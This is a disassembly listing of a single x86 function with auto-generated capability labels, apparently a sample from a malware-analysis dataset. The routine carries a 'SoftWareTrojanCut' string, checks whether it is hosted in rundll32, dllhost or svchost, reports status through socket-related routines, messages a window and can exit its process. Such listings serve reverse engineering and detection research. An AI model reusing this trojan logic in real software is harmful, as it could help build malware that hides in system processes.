Function at 0x100180e0
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2e2c
call fcn.1001da70
mov eax, dword [0x1003e830]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x2e2c], ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1a20], eax
cmp dword [0x100e0de8], 2
jne 0x10018119
mov dword [ebp - 0x1a20], 0x48
mov ecx, dword [ebp - 0x1a20]
and ecx, 1
je 0x1001814d
movsx edx, byte [0x100e5a68]
test edx, edx
je 0x1001814d
push 0x100df7a0
push 0x100e5a68
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x1001814d
mov dword [ebp - 0x1a20], 0x48
cmp dword [0x100e0004], 0x64
jne 0x10018178
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x1a20]
push eax
push str.SendInfoDisplay:_d:_d:_d:_d
push 0
call fcn.1001a870
add esp, 0x18
mov byte [ebp - 0x2820], 0
push 0x1ff
push 0
lea ecx, [ebp - 0x281f]
push ecx
call fcn.1001d590
add esp, 0xc
mov byte [ebp - 0x1008], 0
push 0x1ff
push 0
lea edx, [ebp - 0x1007]
push edx
call fcn.1001d590
add esp, 0xc
mov byte [ebp - 0xe08], 0
push 0xdff
push 0
lea eax, [ebp - 0xe07]
push eax
call fcn.1001d590
add esp, 0xc
mov byte [ebp - 0x2620], 0
push 0x9ff
push 0
lea ecx, [ebp - 0x261f]
push ecx
call fcn.1001d590
add esp, 0xc
mov byte [ebp - 0x1a10], 0
push 0x9ff
push 0
lea edx, [ebp - 0x1a0f]
push edx
call fcn.1001d590
add esp, 0xc
mov eax, dword [0x101c0870]
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0x64
mov dword [ebp - 0x1a1c], edx
mov edx, dword [0x101c0870]
add edx, 1
mov dword [0x101c0870], edx
push str.SoftWareTrojanCut_td_DDXP
lea eax, [ebp - 0x2820]
push eax
call fcn.1001d9ee
add esp, 8
mov ecx, dword [ebp - 0x1a1c]
push ecx
push 0x10038830
lea edx, [ebp - 0x1008]
push edx
call fcn.1001d9ee
add esp, 0xc
mov byte [ebp - 0x1c20], 0
push 0x1ff
push 0
lea eax, [ebp - 0x1c1f]
push eax
call fcn.1001d590
add esp, 0xc
lea ecx, [ebp - 0x1a18]
push ecx
call fcn.100186b0
add esp, 4
lea edx, [ebp - 0x1a18]
push edx
call fcn.10018690
add esp, 4
mov dword [ebp - 0x1010], eax
cmp dword [ebp - 0x1010], 0
je 0x100182c9
mov eax, dword [ebp - 0x1010]
push eax
push 0x10038834
push 0x200
lea ecx, [ebp - 0x1c20]
push ecx
call fcn.10020c9f
add esp, 0x10
jmp 0x100182dd
push 0x10038848
lea edx, [ebp - 0x1c20]
push edx
call fcn.10003f20
add esp, 8
mov eax, dword [0x1003e6f4]
and eax, 2
je 0x10018475
push 0xa00
lea ecx, [ebp - 0x2620]
push ecx
call fcn.1000eb30
add esp, 8
mov byte [ebp - 0x2a20], 0
push 0x1ff
push 0
lea edx, [ebp - 0x2a1f]
push edx
call fcn.1001d590
add esp, 0xc
lea eax, [ebp - 0x2a20]
push eax
mov ecx, dword [ebp - 0x2e2c]
add ecx, 0x78c
push ecx
call fcn.1001d100
add esp, 8
push str.rundll32.exe
mov edx, dword [ebp - 0x2e2c]
add edx, 0x78c
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x1001838f
push str.dllhost.exe
mov eax, dword [ebp - 0x2e2c]
add eax, 0x78c
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x1001838f
push str.svchost.exe
mov ecx, dword [ebp - 0x2e2c]
add ecx, 0x78c
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x1001842f
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
lea edx, [ebp - 0x2e28]
push edx
call fcn.1001e050
add esp, 8
push 0x20
lea eax, [ebp - 0x2e28]
push eax
call fcn.10003a50
add esp, 8
mov dword [ebp - 0x2a24], eax
cmp dword [ebp - 0x2a24], 0
jne 0x100183d3
lea ecx, [ebp - 0x2e28]
mov dword [ebp - 0x2a24], ecx
jmp 0x100183e2
mov edx, dword [ebp - 0x2a24]
add edx, 1
mov dword [ebp - 0x2a24], edx
lea eax, [ebp - 0x2620]
push eax
mov ecx, dword [ebp - 0x2a24]
push ecx
lea edx, [ebp - 0x2a20]
push edx
mov eax, dword [ebp - 0x2e2c]
add eax, 0x78c
push eax
call fcn.10003c80
add esp, 4
push eax
mov ecx, dword [ebp - 0x2e2c]
add ecx, 0x78c
push ecx
push str._s__d__s__s_0___s
lea edx, [ebp - 0x1a10]
push edx
call fcn.1001d9ee
add esp, 0x1c
jmp 0x10018473
lea eax, [ebp - 0x2620]
push eax
lea ecx, [ebp - 0x2a20]
push ecx
mov edx, dword [ebp - 0x2e2c]
add edx, 0x78c
push edx
call fcn.10003c80
add esp, 4
push eax
mov eax, dword [ebp - 0x2e2c]
add eax, 0x78c
push eax
push str._s__d__s__s
lea ecx, [ebp - 0x1a10]
push ecx
call fcn.1001d9ee
add esp, 0x18
jmp 0x10018491
mov edx, dword [ebp - 0x2e2c]
add edx, 0x78c
push edx
lea eax, [ebp - 0x1a10]
push eax
call fcn.10003f20
add esp, 8
mov ecx, dword [ebp - 0x2e2c]
mov edx, dword [ecx + 0x780]
push edx
mov eax, dword [ebp - 0x2e2c]
add eax, 0x580
push eax
mov ecx, dword [ebp - 0x2e2c]
add ecx, 0x380
push ecx
lea edx, [ebp - 0x1a10]
push edx
lea eax, [ebp - 0x1c20]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x1a20]
push ecx
push str._d_d_d_d_s_s_s_s_d
lea edx, [ebp - 0xe08]
push edx
call fcn.1001d9ee
add esp, 0x2c
lea eax, [ebp - 0xe08]
push eax
lea ecx, [ebp - 0x1008]
push ecx
lea edx, [ebp - 0x2820]
push edx
push reloc.WS2_32.dll_bind
call fcn.1001cc90
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x100388b4
push 0x100388bc
push reloc.WS2_32.dll_bind
call fcn.1001c430
add esp, 0x10
cmp dword [0x100e0004], 0x64
jne 0x10018544
push str.SendInfoDisplay_1
push 0
call fcn.1001a870
add esp, 8
push 0x100388ec
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x100c], eax
cmp dword [ebp - 0x100c], 0
jne 0x10018573
push 0x10038900
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x100c], eax
cmp dword [ebp - 0x100c], 0
jne 0x1001859b
push 0
push 0x10038914
push 0x1003891c
push reloc.WS2_32.dll_bind
call fcn.1001c110
add esp, 0x10
mov dword [ebp - 0x100c], eax
cmp dword [ebp - 0x100c], 0
je 0x100185bf
push 0
mov eax, dword [ebp - 0x1a1c]
push eax
push 0xd60
mov ecx, dword [ebp - 0x100c]
push ecx
call dword [sym.imp.USER32.dll_PostMessageA]
cmp dword [0x100e0004], 0x64
jne 0x100185de
mov edx, dword [ebp - 0x100c]
push edx
push str.SendInfoDisplay_2__d
push 0
call fcn.1001a870
add esp, 0xc
mov eax, dword [ebp - 0x1a20]
and eax, 0x40
je 0x100185f5
xor eax, eax
jmp 0x1001867e
cmp dword [0x100e0df4], 1
jne 0x10018679
mov ecx, dword [ebp - 0x1a20]
and ecx, 8
je 0x10018679
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x100e0004], 0x64
jne 0x10018630
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push str.ExitProcess___d_
push 0
call fcn.1001a870
add esp, 0xc
push str.SYSTEM32SVCHOST.EXE
push 0x100df3a0
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x10018657
cmp dword [0x1003e704], 0x501
jl 0x10018657
call fcn.1000b8a0
jmp 0x10018679
mov edx, dword [0x101df8b4]
and edx, 2
je 0x1001866a
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x101358bc]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001d57b
mov esp, ebp
pop ebp
ret 0x10